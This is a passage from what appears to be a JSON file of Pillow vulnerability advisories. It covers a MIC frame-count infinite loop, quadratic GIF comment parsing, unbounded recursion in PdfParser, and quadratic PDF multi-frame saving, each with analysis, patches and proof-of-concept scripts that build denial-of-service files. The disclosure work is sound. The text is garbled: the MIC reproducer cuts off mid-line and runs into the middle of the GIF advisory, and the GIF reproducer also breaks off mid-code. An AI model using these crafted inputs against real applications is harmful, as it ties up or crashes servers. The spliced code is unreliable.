overrides `seek()` and `tell()` so that a \"frame\" means one stream in the container. It still inherits `TiffImageFile.n_frames` (`src/PIL/TiffImagePlugin.py:1212`), which walks the embedded TIFF's directory chain with `self._seek(self.tell() + 1)` until `_n_frames` is set. Two things stop that walk from making progress: - `MicImageFile.tell()` (`src/PIL/MicImagePlugin.py:86`) returns the constant stream index. - `MicImageFile.seek()` calls `TiffImageFile._open()`, which resets `_n_frames` to `None`. As a result, the loop re-parses the second directory forever whenever the embedded stream has three or more directories. `Image.open()`, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. The regression was introduced in 0b33a87b0d15 (April 2020, first released in 7.2.0), which removed `MicImageFile`'s own `n_frames` property. The attached reproducer builds the file in code and checks two controls, which return 3 and 1 frames as expected; the malicious file is still running when it is killed after 20 seconds. ## Details `MicImageFile` (registered for `Image.open` whenever `olefile` is installed) subclasses `TiffImageFile` and redefines a \"frame\" as one OLE `*.ACI/Image` stream, overriding `seek()` and `tell()` accordingly. It does not override the `n_frames` property, so the inherited TIFF implementation runs, and that implementation relies on `tell()` advancing as IFDs are loaded. `MicImageFile.tell()` returns the OLE stream index, which never changes inside `n_frames`, so the loop re-parses the same IFD forever. A 5632-byte OLE2 compound file whose `img0.ACI/Image` stream is a 351-byte TIFF with three chained 1\u00d71 IFDs is enough. `Image.open()` on it succeeds (format `MIC`, detected by the OLE magic, no extension needed); evaluating `im.n_frames` then never returns and keeps one core at 100 %. A Python stack taken 27 s in is ``` File \"src/PIL/TiffImagePlugin.py\", line 1622 in _setup File \"src/PIL/TiffImagePlugin.py\", line 1271 in _seek File \"src/PIL/TiffImagePlugin.py\", line 1219 in n_frames ``` and instrumenting `_seek` shows it being called with `frame=1`, `tell()==0`, `_frame_pos==[8, 122]`, `_n_frames is None` on every iteration \u2014 identical state, so the loop is non-terminating, not merely slow. The same 351 TIFF bytes opened directly give `n_frames == 3` in milliseconds, and the same container around a 1-IFD TIFF gives `n_frames == 1`. The loop, `src/PIL/TiffImagePlugin.py:1212`: ```python @property def n_frames(self) -> int: current_n_frames = self._n_frames if current_n_frames is None: current = self.tell() self._seek(len(self._frame_pos)) while self._n_frames is None: self._seek(self.tell() + 1) # 1219 self.seek(current) ``` and the overrides that break its progress assumption, `src/PIL/MicImagePlugin.py:76`: ```python def seek(self, frame: int) -> None: \u2026 self.fp = self.ole.openstream(filename) TiffImagePlugin.TiffImageFile._open(self) # 82: resets _n_frames to None self.frame = frame def tell(self) -> int: return self.frame # 87: OLE stream index, not TIFF __frame ``` For a plain TIFF, `_seek(k)` (`TiffImagePlugin.py:1236`) loads IFDs up to `k`, appending each offset to `_frame_pos`, setting `_n_frames` when an IFD's next-pointer is 0 (or already seen), and setting the private `__frame = k`; `TiffImageFile.tell()` returns `__frame`, so `self.tell() + 1` walks the chain to its end. For a MIC file, `Image.open` \u2192 `MicImageFile._open` sets `self._n_frames = len(self.images)` at line 69, but then calls `self.seek(0)` \u2192 `TiffImageFile._open` (line 82), which unconditionally sets `self._n_frames = None` (`TiffImagePlugin.py:1203`) and `_seek(0)`s into the embedded stream. With the 3-IFD stream, IFD 0 has a non-zero next pointer, so `_n_frames` stays `None` after open. `n_frames` then runs: `current = self.tell()` is `0` (the OLE index); `_seek(len(_frame_pos))` = `_seek(1)` loads IFD 1, whose next pointer is also non-zero and not yet in `_frame_pos`, so `_n_frames` is still `None`. The `while` body computes `self.tell() + 1` = `0 + 1` and calls `_seek(1)` again; `len(_frame_pos)` is already 2, so nothing new is loaded \u2014 IFD 1 is re-read via `tag_v2.load` and `_setup()` and the state is unchanged. This repeats indefinitely; IFD 2 is never reached. Two chained IFDs are not enough (IFD 1's next pointer of 0 sets `_n_frames = 2` on the first `_seek(1)`); three or more are. `Tests/test_file_mic.py::test_n_frames` passes only because `hopper.mic`'s stream has a single IFD, so `_seek(0)` sets `_n_frames = 1` and the loop is never entered; the `len(self.images)` assignment at line 69 is only consumed by the initial `_seek_check(0)` and is overwritten before any caller can read `n_frames`. A side effect of the same mismatch: with a 2-IFD stream `n_frames` returns 2 (TIFF IFDs) while `seek(1)` indexes `self.images[1]` (OLE streams) and raises `IndexError` \u2014 visible with `save_all=True`. ## Impact Any application that lets Pillow open an uploaded file and then reads `im.n_frames` \u2014 the usual way to decide whether an image is animated (`getattr(im, \"n_frames\", 1) > 1`), and also what `hasattr(im, \"n_frames\")`/`getattr(im, \"n_frames\", 1)` in Pillow's own `TiffImagePlugin._save_all` (`:2333`), `PdfImagePlugin._save` (`:250`) and `WebPImagePlugin._save_all` (`:171`) evaluate when the app re-saves with `save_all=True` \u2014 can be made to spin one worker at 100 % CPU indefinitely with a 5.6 KB upload. The file needs no particular extension (OLE magic; `FpxImagePlugin` rejects it on CLSID and `MicImagePlugin` accepts it), default limits do not intervene, memory does not grow, and no exception is raised, so only an external watchdog ends it. Preconditions: `olefile` installed (it is an optional dependency; without it the MIC plugin is not registered) and the application touching `n_frames` or a `save_all` path. `Image.open()` itself, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. This is the same class of tiny-file, pure-Python non-termination as CVE-2021-28676 (FLI) and CVE-2021-28677 (EPS), and like CVE-2019-19911 (FPX) it depends on `olefile`; it differs in not being reached by the default open/load path. The regression was introduced in `0b33a87b0d15` (\"Replaced property methods for n_frames and is_animated with normal properties\", 2020-04-13), first released in 7.2.0, which replaced `MicImageFile`'s own `n_frames` property with the `_n_frames` attribute that `TiffImageFile._open` overwrites. ## Reproducing `repro` is a single Python script that runs against the installed Pillow (with `olefile`, which is what registers the MIC plugin). It builds every input in code, writes each one to a temporary file named `x` with no extension (so Pillow identifies the format from its magic bytes), and opens it in a child Python process that runs `Image.open(path)` and prints `im.format` and `im.n_frames`. It builds two things in code: - `tiff(n)`: an `n`-page TIFF of 4\u00d74 greyscale frames written by Pillow itself (`save_all=True`), so the IFDs are chained exactly as Pillow's own writer chains them. The last next-IFD pointer is 0. - `mic(stream)`: a minimal OLE2 compound file with a storage named `img0.ACI` that contains a stream named `Image`, which is the layout `MicImageFile._open` looks for. Sector 0 is the FAT and sector 1 is the directory. The stream starts at sector 2 and is padded to 4096 bytes, so the file doesn't need a mini-FAT. The result is 5632 bytes. It runs three inputs, each in its own child process with a hard 20-second kill: 1. control: the plain 3-page TIFF. Expected `TIFF n_frames = 3`. 2. control: a MIC wrapping a 1-page TIFF. Expected `MIC n_frames = 1`. 3. attack: the same MIC container wrapping the 3-page TIFF. The timeout is enforced by killing the child rather than by an in-process alarm, because a `TimeoutError` raised while `ImageFileDirectory_v2.load()` is parsing would be caught by its `except OSError` (`TiffImagePlugin.py:958`) and leave the IFD half-parsed instead of stopping the loop. The script prints `BUG` when both controls return and the attack child is still running after 20 seconds; otherwise it prints `OK`. With the attached patch applied, the attack case prints `MIC n_frames = 1` and the script prints `OK`. ## Suggested fix The attached patch restores the OLE-level frame count after the embedded TIFF stream has been opened, so the inherited `n_frames` never enters its IFD-walking loop and `n_frames`/`seek()` agree on what a frame is. In `MicImageFile.seek`, `src/PIL/MicImagePlugin.py:82`, right after `TiffImagePlugin.TiffImageFile._open(self)`: ```diff TiffImagePlugin.TiffImageFile._open(self) + # TiffImageFile._open() resets the frame count to that of the + # embedded TIFF stream, but the frames of an MIC file are its streams + self._n_frames = len(self.images) + self.is_animated = self._n_frames > 1 + self.frame = frame ``` Doing this in `seek()` restores the invariant on every seek, not only the first. The existing assignments at lines 69\u201370 of `_open` are kept: the initial `seek(0)` \u2192 `_seek_check(0)` reads `n_frames` before `TiffImageFile._open` has run, so they are still needed. Plain read-only `n_frames`/`is_animated` properties, as before 0b33a87b0, are no longer a drop-in option because `TiffImageFile._seek` assigns `self.is_animated`. With the patch applied to a clean tree and rebuilt, the attack file returns `n_frames == 1` immediately, a 2-IFD stream raises `EOFError` on `seek(1)` instead of `IndexError`, `save_all=True` to TIFF and PDF completes, and `Tests/test_file_mic.py` and `Tests/test_file_tiff.py` pass. No regression test is included, since one would need a new binary MIC fixture in `Tests/images`. The patch passed that check but has not been reviewed beyond it as the final form of the fix. Two things it leaves alone: it does not add the `_im` reset that `TiffImageFile.seek` performs after `_seek` (`TiffImagePlugin.py:1229`), which matters when switching between OLE streams of different size or mode; and `TiffImageFile.n_frames` still advances via the overridable `tell()` rather than its private `__frame`, so making it iterate on `__frame` would protect any other subclass that redefines `tell()`. ## The patch Restore the OLE stream frame count in MicImageFile.seek() after TiffImageFile._open() resets it, so n_frames cannot loop forever Applies to `src/PIL/MicImagePlugin.py` at the commit above. It passed the mechanical check \u2014 applied to a clean tree, rebuilt, the reproducer stopped firing \u2014 but a reviewer did not endorse it as the right fix. ```diff diff --git a/src/PIL/MicImagePlugin.py b/src/PIL/MicImagePlugin.py index f8cf3a76f..2bb0109ce 100644 --- a/src/PIL/MicImagePlugin.py +++ b/src/PIL/MicImagePlugin.py @@ -81,6 +81,11 @@ class MicImageFile(TiffImagePlugin.TiffImageFile): TiffImagePlugin.TiffImageFile._open(self) + # TiffImageFile._open() resets the frame count to that of the + # embedded TIFF stream, but the frames of an MIC file are its streams + self._n_frames = len(self.images) + self.is_animated = self._n_frames > 1 + self.frame = frame def tell(self) -> int: ``` ## The reproducer
Reproducer \u2014 repro, 2,330 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # MicImageFile inherits TiffImageFile.n_frames, whose loop `self._seek(self.tell()+1)` # relies on tell() advancing; MicImageFile.tell() returns the OLE stream index (constant), # so a MIC file whose Image stream is a TIFF with >=3 chained IFDs makes im.n_frames spin forever. import io, struct, subprocess, sys, tempfile, os from PIL import Image def tiff(n): # n-page TIFF written by Pillow itself b = io.BytesIO(); fr = [Image.new(\"L\", (4, 4), i) for i in range(n)] fr[0].save(b, \"TIFF\", save_all=True, append_images=fr[1:]); return b.getvalue() def mic(stream): # minimal OLE2 file: storage \"img0.ACI\" containing stream \"Image\" END, FREE, FATSECT = 0xFFFFFFFE, 0xFFFFFFFF, 0xFFFFFFFD data = stream.ljust(4096, b\"\\0\"); n = len(data) // 512 fat = [FATSECT, END] + [3 + k for k in range(n - 1)] + [END]; fat += [FREE] * (128 - len(fat)) def entry(name, kind, child, start, size): raw = name.encode(\"utf-16-le\") + b\"\\0\\0\" return raw.ljust(64, b\"\\0\") + struct.pack(\" 01 41 00`, then a minimal 1\u00d71 image and the trailer: - **comments**: label `0xFE`. Each extension is a 1-byte comment, so `_seek()` appends each one to `info[\"comment\"]` with `+=` (`GifImagePlugin.py:266`). - **control**: label `0x01` (plain-text extension). The bytes are the same apart from the label. `_seek()` reads them through the same loop and the same `self.data()` calls, then throws them away. The script times `Image.open(io.BytesIO(data))` on each file. It does not call `load()`, because `_open()` already parses frame 0. It checks that the image came out as 1\u00d71. Typical output on a 2-CPU machine: ``` 2 MB GIF control (0x01): 0.16 s comments (0xFE): 5.14 s 4 MB GIF control (0x01): 0.26 s comments (0xFE): 33.53 s doubling 2 MB -> 4 MB multiplied open() time by x6.5 (linear: ~x2) 4 MB comment GIF took x129 as long as the same-size control BUG ``` For a linear parser, doubling the file would roughly double the time, and the two files would take about the same time. The script prints `BUG` when all three of these hold: - doubling the comment file from 2 MB to 4 MB multiplies its open time by at least 3\u00d7; - the 4 MB comment file takes at least 20\u00d7 as long as its control; - the 4 MB comment file takes at least 8 s. Otherwise it prints `OK`. The run is deterministic, CPU-bound on one core, and takes about 40 s. ## Suggested fix The attached patch changes `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py` to accumulate comment data in a local list instead of with `bytes` concatenation, and to join it once when the frame's info is committed: ```diff @@ def _seek(self, frame: int, update_image: bool = True) -> None: info: dict[str, Any] = {} + comment_blocks: list[bytes] | None = None frame_transparency = None @@ elif s[0] == 254: # # comment extension # - comment = b\"\" + if comment_blocks is None: + comment_blocks = [] + else: + # If multiple comment blocks in frame, separate with \\n + comment_blocks.append(b\"\\n\") # Read this comment block while block: - comment += block + comment_blocks.append(block) block = self.data() - - if \"comment\" in info: - # If multiple comment blocks in frame, separate with \\n - info[\"comment\"] += b\"\\n\" + comment - else: - info[\"comment\"] = comment s = b\"\" continue @@ - if info.get(\"comment\"): - self.info[\"comment\"] = info[\"comment\"] + if comment_blocks: + comment = b\"\".join(comment_blocks) + if comment: + self.info[\"comment\"] = comment for k in [\"duration\", \"extension\"]: ``` This removes the quadratic copying at both sites (`:261` per sub-block and `:266` per extension); the 4 MB reproducer file opens in about 0.3 s, the same as its control, and the reproducer no longer prints `BUG` on a patched build. The resulting `info[\"comment\"]` is unchanged for empty, multi-sub-block, multi-extension and later-frame comments \u2014 including `Tests/images/multiple_comments.gif` \u2192 `b\"Test comment 1\\nTest comment 2\"` \u2014 and `Tests/test_file_gif.py` passes unchanged. The GIF writer (`_write_local_header` / `_save`) is not affected. The patch deliberately adds no size cap. Unlike PNG `zTXt`, which `PngImagePlugin.MAX_TEXT_CHUNK` guards against decompression amplification, a GIF comment can be no larger than the file that carries it, so once the copy is linear there is nothing left to bound, and a hard cap would reject valid files with large comments. If a limit is wanted anyway, a `MAX_COMMENT_SIZE` check inside the sub-block loop is a small policy addition on top of this patch. ## The patch GIF: collect comment extension sub-blocks in a list and join once per frame instead of repeated bytes += in GifImageFile._seek() Applies to `src/PIL/GifImagePlugin.py` at the commit above. ```diff diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..05007d2ac 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -217,6 +217,7 @@ class GifImageFile(ImageFile.ImageFile): palette: ImagePalette.ImagePalette | Literal[False] | None = None info: dict[str, Any] = {} + comment_blocks: list[bytes] | None = None frame_transparency = None interlace = None frame_dispose_extent = None @@ -254,18 +255,16 @@ class GifImageFile(ImageFile.ImageFile): # # comment extension # - comment = b\"\" + if comment_blocks is None: + comment_blocks = [] + else: + # If multiple comment blocks in frame, separate with \\n + comment_blocks.append(b\"\\n\") # Read this comment block while block: - comment += block + comment_blocks.append(block) block = self.data() - - if \"comment\" in info: - # If multiple comment blocks in frame, separate with \\n - info[\"comment\"] += b\"\\n\" + comment - else: - info[\"comment\"] = comment s = b\"\" continue elif s[0] == 255 and frame == 0 and block is not None: @@ -433,8 +432,10 @@ class GifImageFile(ImageFile.ImageFile): ) ] - if info.get(\"comment\"): - self.info[\"comment\"] = info[\"comment\"] + if comment_blocks: + comment = b\"\".join(comment_blocks) + if comment: + self.info[\"comment\"] = comment for k in [\"duration\", \"extension\"]: if k in info: self.info[k] = info[k] ``` ## The reproducer
Reproducer \u2014 repro, 2,263 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\"Quadratic CPU in Image.open() on GIF comment extensions. GifImageFile._seek() appends every comment extension to info[\"comment\"] with bytes `+=` (src/PIL/GifImagePlugin.py:266), copying the whole accumulated comment each time. Image.open() runs _seek(0) eagerly, so merely opening a GIF made of many tiny comment extensions costs O(size^2) CPU. We time Image.open() on two files of identical length: ATTACK - a 1x1 GIF whose body is thousands of 1-byte comment extensions (label 0xFE) CONTROL - the same bytes with label 0x01 (plain-text extension), which _seek() reads through the same loop but discards instead of concatenating. A linear parser would take ~2x longer when the file doubles, and the two files would cost about the same. \"\"\" import io import time from PIL import Image HEADER = b\"GIF89a\" + b\"\\x01\\x00\\x01\\x00\" + b\"\\x00\\x00\\x00\" # 1x1 screen, no palette IMAGE = b\",\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\" + b\"\\x02\\x02\\x44\\x01\\x00\" # 1x1 frame TRAILER = b\";\" def make_gif(size: int, label: int) -> bytes: # each extension is `21
---"}, {"id": "CVE-2026-112391", "fix_versions": ["13.0.0"], "aliases": ["GHSA-254f-3936-288h"], "description": "### Summary `PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=, format=\"PDF\", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch. ### Details **`get_value()` in `src/PIL/PdfParser.py`** This is a classmethod that takes `max_nesting: int = -1` and has a guard: ```python if max_nesting == 0: return None, None ``` Every recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else. This advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel `-1` default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function \u2014 it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() . ### Steps to reproduce Both PDFs below are plain text, built directly in Python, no PDF library needed. ```python from PIL.PdfParser import PdfParser def build_pdf(root): out = bytearray(b\"%PDF-1.4\\n\") offset = len(out) out += f\"1 0 obj\\n\".encode() out += root out += b\"\\nendobj\\n\" out += b\"xref\\n\" out += f\"0 2\\n\".encode() out += b\"0000000000 65535 f \\n\" out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\" xref_offset = len(out) out += b\"xref\\n\" out += f\"0 2\\n\".encode() out += b\"0000000000 65535 f \\n\" out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\" out += b\"trailer\\n\" out += f\"<< /Size 2 /Root 1 0 R >>\\n\".encode() out += b\"startxref\\n\" out += f\"{xref_offset}\\n\".encode() out += b\"%%EOF\" return bytes(out) bomb = b\"[\" * 3000 + b\"]\" * 3000 root = b\"<< /Type /Catalog /Pages 2 0 R /Bomb \" + bomb + b\" >>\" with open(\"nesting_bomb.pdf\", \"wb\") as f: f.write(build_pdf(root)) PdfParser(\"nesting_bomb.pdf\") # raises RecursionError ``` Expected: a clean `PdfFormatError`. Actual: raises a raw `RecursionError: maximum recursion depth exceeded`. ### Impact - Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format=\"PDF\", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes. - Confidentiality: none. - Integrity: none. - Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter."}, {"id": "CVE-2026-112894", "fix_versions": ["13.0.0"], "aliases": ["GHSA-jg86-v3jv-hrpm"], "description": "``` ============================================================================ Quadratic-time DoS in PDF save_all (PdfParser.next_object_id) Location: src/PIL/PdfParser.py:629 in next_object_id() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely *declares* a large frame count triggers the same slowdown with no upper bound short of 2\u00b3\u00b9 frames. Memory stays under 100 MB and the decompression-bomb limit never applies. The cause is `PdfParser.next_object_id()` in `src/PIL/PdfParser.py`, which finds the next free id by computing `max(self.xref_table.keys())`. `XrefTable.keys()` rebuilds three sets over every id reserved so far on each call. `PdfImagePlugin._save()` calls it three times (four for palette images with transparency) per frame, for `n_frames` frames, before any page is written. That makes the id-reservation loop alone O(N\u00b2). Because `n_frames` is taken from the file before any frame is seeked, APNG's `acTL` count drives the loop even when the frames don't exist. In that case the save raises `OSError` only after the full delay. The precondition is that the application calls `im.save(..., \"PDF\", save_all=True)` on the attacker's file; `Image.open()` and `load()` alone do not reach this code. The attached reproducer shows 4\u00d7 the frames costing about 11\u00d7 the CPU for a valid GIF and about 16\u00d7 for a fixed 125-byte APNG. The behaviour was introduced in `6207b44ab1ff` (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in `XrefTable` makes the save linear. ## Details Saving a multi-frame image as a multi-page PDF (`im.save(fp, \"PDF\", save_all=True)`) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far. A 1\u00d71-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not): | frames | GIF size | `im.save(BytesIO(), \"PDF\", save_all=True)` | peak RSS | |---|---|---|---| | 2 000 | 30 KB | 1.1 s | | | 8 000 | 120 KB | 14.7 s | | | 16 000 | 240 KB | 70 s | 60 MB | | 32 000 | 480 KB | 262 s | 95 MB | | 48 000 | 720 KB | still running at 120 s (extrapolated \u2248 10 min) | | Each doubling of the input roughly quadruples the time. `cProfile` of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of `PdfParser.next_object_id` (8.9 s inside `XrefTable.keys`, 3.9 s inside `max`); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly. The per-page id reservation loop runs before any page is written: ```python # src/PIL/PdfImagePlugin.py:247-259 (_save) for im in ims: im_number_of_pages = 1 if save_all: im_number_of_pages = getattr(im, \"n_frames\", 1) \u2026 for i in range(im_number_of_pages): image_refs.append(existing_pdf.next_object_id(0)) if im.mode == \"P\" and \"transparency\" in im.info: image_refs.append(existing_pdf.next_object_id(0)) page_refs.append(existing_pdf.next_object_id(0)) contents_refs.append(existing_pdf.next_object_id(0)) ``` `n_frames` comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on `n_frames` before any frame is seeked, and for APNG `n_frames` is the `num_frames` value declared in the `acTL` chunk, rejected only if it is 0 or above `0x80000000` (`src/PIL/PngImagePlugin.py:716-720`). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10\u201313 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for `P` images with transparency) calls per frame lands here: ```python # src/PIL/PdfParser.py:626-634 def next_object_id(self, offset: int | None = None) -> IndirectReference: try: # TODO: support reuse of deleted objects reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) except ValueError: reference = IndirectReference(1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference # src/PIL/PdfParser.py:175-178 (XrefTable) def keys(self) -> set[int]: return ( set(self.existing_entries.keys()) - set(self.deleted_entries.keys()) ) | set(self.new_entries.keys()) ``` `_save` passes `offset=0`, so every reserved id is inserted into `xref_table.new_entries`. The k-th call therefore materialises three sets covering all k\u22121 previous ids, computes a difference and a union, and then `max()` scans the result \u2014 O(k) work to produce the integer k. Summed over 3N calls this is O(N\u00b2): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10\u00b9\u2070 set-element operations, all spent before `_write_image` is reached for the first frame. Nothing on this path consults `MAX_IMAGE_PIXELS` (the frames are 1\u00d71) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises `OSError` only once the id loop has finished and the first missing frame is seeked. This reservation scheme was introduced in `6207b44ab1ff` (\"issue #2959: support appending to existing PDFs\", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically. For contrast, `write_obj(ref, \u2026)` with an already-reserved `ref` (`src/PIL/PdfParser.py:548-555`) only does a dict store, which is why the page-writing phase that follows is linear; the super-linear cost is entirely in how the next free id is computed. ## Impact The precondition is that the application saves the attacker's image as PDF with `save_all=True`; `Image.open()` and `load()` alone do not reach this code. An application that converts uploaded images to PDF this way \u2014 the documented way to get one page per frame from animated GIF/APNG/WebP or multi-page TIFF input \u2014 can have a worker held at 100 % CPU for about 10 minutes by a 720 KB GIF, about 4\u00bd minutes by a 480 KB one, with the cost continuing to grow quadratically with upload size. With APNG the file size does not matter at all: a 125-byte file declaring N frames in `acTL` drives the same quadratic loop, up to the 2\u00b3\u00b9 cap. The attacker controls only the file bytes; no unusual dimensions, modes or options are needed, memory use stays under 100 MB so memory limits do not intervene, and the decompression-bomb guard is not applicable. The consequence is denial of service of the process performing the conversion. Single-image PDF saves, and `save_all` saves of images with tens or hundreds of frames, are unaffected in practice. This is the same family as earlier accidentally-quadratic parsing issues fixed in Pillow (e.g. CVE-2021-28677, EPS `readline`), but on the PDF *writer* side, reached only through a save rather than on open, and driven by frame count rather than by line structure. ## Reproducing `repro` is a single Python script. Run it with the Python that has Pillow installed (`./repro`). It uses under 100 MB of RAM and writes no files. **Input.** Two kinds of file are built in memory, each with 2 000 and 8 000 frames: - `gif(n)`: a valid animated GIF \u2014 a `GIF89a` header with a 1\u00d71 logical screen and a 2-colour global palette, then `n` copies of one 15-byte frame (a 1\u00d71 image descriptor plus the LZW data for one pixel), then the trailer (30 and 120 KB). The only unusual thing about it is how many frames it has. - `apng(n)`: a 125-byte APNG \u2014 a 1\u00d71 greyscale `IHDR`, an `acTL` chunk declaring `n` frames, one `fcTL`, one `IDAT` and `IEND`. Only the first frame exists; the other `n \u2212 1` are merely declared. **Action.** Each file goes through what an upload-to-PDF converter would do: `Image.open(BytesIO(data))`, then `im.save(BytesIO(), \"PDF\", save_all=True)`, timed with `time.process_time()`. For the APNG the save raises `OSError` once the writer tries to seek to the second frame; that happens after the id-reservation loop has run for all `n` declared frames, so the exception is caught and the CPU time up to it is recorded. **Expected output** (stock build at this commit): ``` GIF frames= 2000 file= 30020 B save CPU= 1.03s result=ok GIF frames= 8000 file=120020 B save CPU= 11.68s result=ok GIF: 4x frames -> 11.3x CPU (linear ~4x, quadratic ~16x) APNG frames= 2000 file= 125 B save CPU= 0.65s result=OSError(Truncated File Read) APNG frames= 8000 file= 125 B save CPU= 10.48s result=OSError(Truncated File Read) APNG: 4x frames -> 16.1x CPU (linear ~4x, quadratic ~16x) BUG ``` A linear save would take about 4\u00d7 as long for 4\u00d7 the frames; here the GIF save grows ~11\u00d7 and the APNG save ~16\u00d7, the latter with the file size fixed at 125 bytes. The script prints `BUG` when the save CPU for either format grows at least 8\u00d7 for 4\u00d7 the frames (twice the linear expectation), otherwise `OK`. Extending the same curve gives the figures in the table above: about 70 s at 16 000 frames (240 KB GIF), and about 10 minutes for a 720 KB file. With the attached patch applied, the GIF save takes 0.32 s / 1.20 s (3.7\u00d7) and the APNG save 0.01 s / 0.03 s, and the script prints `OK`. ## Suggested fix Make `next_object_id()` O(1) by tracking the highest object id ever stored in `XrefTable` instead of rebuilding the key set on every call. The attached patch does this in `src/PIL/PdfParser.py`: ```diff --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ class XrefTable: self.deleted_entries = {0: 65536} # object ID => generation self.reading_finished = False + self.max_object_id = 0 # highest object ID ever stored, deleted or not def __setitem__(self, key: int, value: tuple[int, int]) -> None: if self.reading_finished: self.new_entries[key] = value else: self.existing_entries[key] = value + if key > self.max_object_id: + self.max_object_id = key if key in self.deleted_entries: del self.deleted_entries[key] @@ class PdfParser: def next_object_id(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xref_table.max_object_id + 1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference ``` `existing_entries` is only ever populated through `__setitem__` (from `read_xref_table` / `read_prev_trailer`), so the counter also covers ids read from an existing file in `append=True` mode. The one behavioural difference: when the highest-numbered existing object has just been deleted (`del_root()` / `rewrite_pages()` in append mode), the current code hands that id out again with generation 0, whereas the patch moves on to the next unused id \u2014 the more conservative choice for an xref table, and the one the existing `TODO: support reuse of deleted objects` comment points at. With the patch applied and Pillow rebuilt, the 16 000-frame save drops from ~70 s to ~2.5 s, fresh PDF output is unchanged, `Tests/test_file_pdf.py` and `Tests/test_pdfparser.py` pass, and the reproducer prints `OK`. An alternative limited to the writer would be to reserve the `3 \u00d7 number_of_pages` ids in `PdfImagePlugin._save()` arithmetically from a single `next_object_id()` call, but fixing the allocator also covers `write_obj(None, \u2026)` callers. The patch does not address a separate, linear issue: `PdfImagePlugin._save()` still trusts `n_frames` before any frame is decoded, so a tiny file whose format reports a declared-only frame count (APNG `acTL` up to 2\u00b3\u00b9) still makes it loop `3 \u00d7 n_frames` times before the first failing seek. Reserving ids per successfully seeked frame, or validating `n_frames` in such plugins, would close that. ## The patch Track the highest object ID in XrefTable so PdfParser.next_object_id() is O(1) instead of rebuilding and scanning the key set Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..82ebfb867 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -133,12 +133,15 @@ class XrefTable: ) # object ID => (offset, generation) self.deleted_entries = {0: 65536} # object ID => generation self.reading_finished = False + self.max_object_id = 0 # highest object ID ever stored, deleted or not def __setitem__(self, key: int, value: tuple[int, int]) -> None: if self.reading_finished: self.new_entries[key] = value else: self.existing_entries[key] = value + if key > self.max_object_id: + self.max_object_id = key if key in self.deleted_entries: del self.deleted_entries[key] @@ -624,11 +627,8 @@ class PdfParser: self.orig_pages = self.pages[:] def next_object_id(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xref_table.max_object_id + 1, 0) if offset is not None: 